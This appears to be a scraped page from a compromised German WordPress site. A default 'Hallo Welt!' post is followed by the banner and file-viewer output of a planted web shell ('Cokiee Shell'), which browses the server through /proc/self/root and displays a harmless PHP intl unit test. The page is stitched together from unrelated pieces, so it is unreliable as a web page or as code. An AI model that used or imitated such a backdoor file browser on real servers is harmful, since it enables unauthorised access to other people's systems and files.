Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/intl/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/intl/tests/dateformat_bug71516.phpt |
--TEST-- Bug #71516 IntlDateFormatter losts locale if pattern is set via constructor --SKIPIF-- <?php if (!extension_loaded('intl')) die('skip intl extension not enabled'); ?> --FILE-- <?php $loc = "ru_RU"; $goodFormatter = new IntlDateFormatter($loc, IntlDateFormatter::FULL, IntlDateFormatter::FULL, new DateTimeZone("UTC")); $badFormatter = new IntlDateFormatter($loc, IntlDateFormatter::FULL, IntlDateFormatter::FULL, new DateTimeZone("UTC"), null, "d MMM"); $badFormatter2 = new IntlDateFormatter($loc, IntlDateFormatter::FULL, IntlDateFormatter::FULL, new DateTimeZone("UTC")); $badFormatter2->setPattern("d MMM"); echo "Formatter without pattern: " . $goodFormatter->getLocale() . PHP_EOL; echo "Formatter with pattern: " . $badFormatter->getLocale() . PHP_EOL; echo "Formatter with pattern set later: " . $badFormatter2->getLocale() . PHP_EOL; ?> ==DONE== --EXPECT-- Formatter without pattern: ru Formatter with pattern: ru Formatter with pattern set later: ru ==DONE==
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare